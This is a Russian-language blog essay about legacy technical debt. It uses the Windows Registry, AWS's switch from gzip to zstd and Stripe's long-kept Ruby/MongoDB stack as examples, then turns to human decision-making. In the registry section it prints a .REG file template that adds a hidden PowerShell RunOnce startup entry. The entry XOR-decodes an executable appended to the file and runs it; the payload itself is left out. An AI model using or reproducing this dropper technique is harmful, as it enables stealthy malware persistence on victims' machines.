Примеры кошмарного программирования вокруг нас. Выученная беспомощность

в 9:00, , рубрики: AWS, gzip, ruby, ruvds_статьи, stripe, zstd, Блог компании RUVDS.com, единая точка отказа, костыли, ненормальное программирование, принцип DRY, принятие решений, Программирование, разработка под windows, реестр windows, системное программирование

Примеры кошмарного программирования вокруг нас. Выученная беспомощность - 1


Нет в мире совершенства. Куда ни глянь — всюду костыли и компромиссы. Вроде каждый в отдельности хочет сделать как лучше, но чем больше участников — тем сильнее хаос…

Возьмём классический пример — реестр Windows. Этот странный артефакт инженерной мысли представляет некое подобие иерархической БД для хранения абсолютно всех настроек — и системных, и приложений, и драйверов. Центральное бинарное хранилище заменило массу файлов .ini, разбросанных по всей системе и должно было упростить жизнь. Но вышло наоборот. И глядя на монструозный тормозящий конструкт, возникает только один вопрос: как это исправить? Ответ тоже простой: «Если вкратце, то никак». И так во всём. Мы создаём монстров, а потом не можем от них избавиться.

Задуманный для благих целей Windows Registry превратился в проклятие. Он должен был уменьшить хаос в системе, а не увеличить его. Фундаментальной проблемой реестра стала его открытость внешнему миру — полная открытость на запись, что в конце концов превратило его в мусорный отстойник для всякого треша. И одновременно в единую точку отказа.

Вместо упрощения жизни, реестр усложнил её. Без ковыряния в Registry нельзя даже перенести рабочие файлы приложения в другое место, поскольку реестр не синхронизируется с файловой системой, что между прочим является нарушением принципа DRY.

Самый простой способ сломать работу программы под Windows — перенести её в другую папку, не помолившись богам двоичного блоба Windows Registry. Например, после простой переустановки Windows большинство установленных игр и рабочих программ перестают работать просто потому, что их рабочие пути были прописаны в реестре, а по другим путям они не запускаются.

Иногда хочется вернуть те самые файлы .INI, чтобы настройки приложения хранились в одной папке с ним. Кажется, что так было гораздо логичнее и проще. С другой стороны, приложениям никто не мешает это делать сейчас — и работать без помощи реестра Windows, но таких программ исчезающе мало (и обычно это самые крутые и незаменимые программы, такие как ffmpeg.exe и yt-dlp.exe).

Разработчики Windows попытались упорядочить эту свалку, когда в версии Vista предложили три разных пути для хранения настроек приложений:

/Users/j0ker/AppData/Local
/Users/j0ker/AppData/LocalLow
/Users/j0ker/AppData/Roaming

В документации Roaming User Data Deployment Guide написано, что специфичные для конкретного железа настройки нужно хранить в первых двух директориях дерева, а третий путь всегда хранится вместе с пользователем. Но это решение проблемы для конкретного пользователя, но не для системы целиком. Да и вообще после этих нововведений хаос ничуть не снизился.

Суммируя всё вышесказанное, Windows Registry технически несостоятелен по нескольким причинам. Это:

  1. Мусорная свалка из настроек. Например, список примонтированных дисков хранится в HKEY_LOCAL_MACHINESYSTEMMountedDevices, список видимых для пользователя дисков — HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2CPCVolume, а список USB-устройств — HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR
  2. Непрозрачный бинарник, из которого трудно извлечь настройки и перенести на другую машину
  3. Единая точка отказа — реестр легко повредить таким образом, что система зависнет при попытке его загрузить
  4. Отсутствие синхронизации с ФС. По сути, реестр — это не база данных, а отдельная файловая система со многими атрибутами ФС (директории, индексные дескрипторы, расширенные атрибуты). Да, она хранится в отдельном файле, но ext3 тоже. Отсюда странные ключи типа ControlSet001ControlCriticalDeviceDatabasepci#ven_1af4&dev_1001&subsys_00000000

Добавим, что внутрь файла .REG можно встроить исполняемый файл (бинарник) с функцией автоматического выполнения. Как известно, файлы .REG — это простые текстовые файлы для импорта записей в реестр. Например, если прописать программу в раздел Run/RunOnce реестра, то она добавляется в автозагрузку:

REGEDIT4

[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce]
"StartupEntryName"="C:\test\program.exe"

Оказывается, в конце этого текстового файла вы можете добавить любые бинарные данные, файл всё равно останется валидным и нормально импортируется. То есть можно прописать в .REG скрипт PowerShell, который извлечёт бинарные данные в отдельный файл и добавить в «Автозагрузку» запись на их исполнение. Вот пример такого файла:

REGEDIT4

[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce]
"startup_entry"="cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;""

xFFxFF

cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit

<encrypted .exe payload data>

Демо:

Примеры кошмарного программирования вокруг нас. Выученная беспомощность - 2

В бинарный файл реестра тоже легко спрятать произвольные данные, которые будут невидимы для системы, но видимы для сторонних инструментов, таких как hivex.

Таким образом, к недостаткам реестра можно добавить ещё и пятый пункт — увеличение поверхности атаки, то есть ухудшение информационной безопасности системы.

Артефакты вроде реестра Windows — это легаcи, от которого практически невозможно отказаться без потери обратной совместимости. Остаётся только смириться и страдать. Хуже всего, что с каждой новой версией практически любой программы объём ненужного хлама возрастает, именно поэтому программы с каждой версией становятся всё медленнее и требуют всё больше ресурсов.

▍ Ранние технические решения остаются с нами надолго

Любую техническую мелочь, принятую на раннем этапе, очень тяжело изменить впоследствии.

Например, только спустя много лет компания AWS смогла отказаться от gzip и перешла на более эффективный формат сжатия своих логов zstd (коэффициент сжатия +30%, по сравнению с gzip). Такой шаг сэкономил AWS миллионы долларов, поскольку она вынуждена хранить экcабайты служебных данных:

Это произошло спустя много лет использования неэффективного формата. Почему Amazon так долго за него держалась? Неужели неэффективность gzip не была очевидна всем разработчикам? Неужели не видно была огромная выгода от перехода на более эффективное сжатие? Нет, всё было понятно и очевидно. Просто на gzip оказалось завязано слишком много внутренних подсистем, всё работало по накатанной. Проклятие легаси во всей красе.

Другой пример. Когда-то маленькая компания Stripe выбрала основной язык разработки Ruby и СУБД MongoDB — и до сих пор использует их, хотя уже давно выросла в большой платёжный сервис с финансовыми транзакциями на миллиарды долларов. Все понимают, насколько трудно переписать всё с нуля, поэтому статус-кво сохраняется. Точно так же маловероятно, что они в ближайшем будущем переедут с AWS, уже слишком глубоко завязли.

Удивительно, но даже самые мелкие технические решения — костыли, изначально принятые чуть ли не случайно, всё равно годами и десятилетиями бережно сохраняются в неизменном виде. Мол, работает — не трогай. Устаревшие артефакты неистово защищаются из-за своей важности много лет назад.

И так во всём вокруг. Если у программного обеспечения потрясающая инерция, что уж говорить о реальных физических системах.

Единожды сделав неоптимальный выбор, люди всеми силами держатся за него. Со стороны такое выглядит иногда совершенно глупо и неуместно. Проблема усугубляется специфическими когнитивными искажениями, когда человек задним числом приписывает положительные качества предмету или действию, которые он выбрал (в том числе с помощью генерации ложных воспоминаний). В этом случае исправить ошибочно сделанный выбор будет особенно тяжело, а иногда и невозможно, не причинив моральных страданий носителю искажений.

▍ Люди слишком много думают о неважных вещах

По большому счёту, проблема повсеместного хаоса не ограничивается одним программированием. Достаточно посмотреть, как организована общественная жизнь в остальных сферах — экономике, образовании, здравоохранении и др. Чётко спроектированные, эффективные механизмы в рамках продуманных институтов и систем — это скорее редкое исключение из правил. Обычно вокруг царит слабо организованный бардак, в котором люди пытаются выжить, предпринимая индивидуальные усилия, чтобы максимизировать личную выгоду в текущем моменте. Зачастую в своих решениях мы ориентируемся скорее на инстинкты и моральные установки, а не на рациональные правила для вычисления оптимума. Соответственно, и последствия таких действий трудно предсказуемы.

Примеры кошмарного программирования вокруг нас. Выученная беспомощность - 3

В этом плане интересно посмотреть на результаты научного исследования с замером времени, которое люди тратят на принятие решений (doi: 10.1098/rspb.2015.1439). Оказывается, чем более очевидный выбор стоит перед человеком— тем быстрее (мгновенно, инстинктивно) он принимает решение. Если же встаёт выбор между похожими (одинаковыми) вариантами, то люди надолго впадают в ступор, вместо того, чтобы безразлично выбрать любой вариант случайным образом.

Таким образом, больше всего времени тратится на бесполезные размышления над ничего не значащими вариантами. При этом большие, важные решения принимаются практически бездумно.

А как считаете вы?

Конкурс статей от RUVDS.COM. Три денежные номинации. Главный приз — 100 000 рублей.

Автор: Анатолий Ализар

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js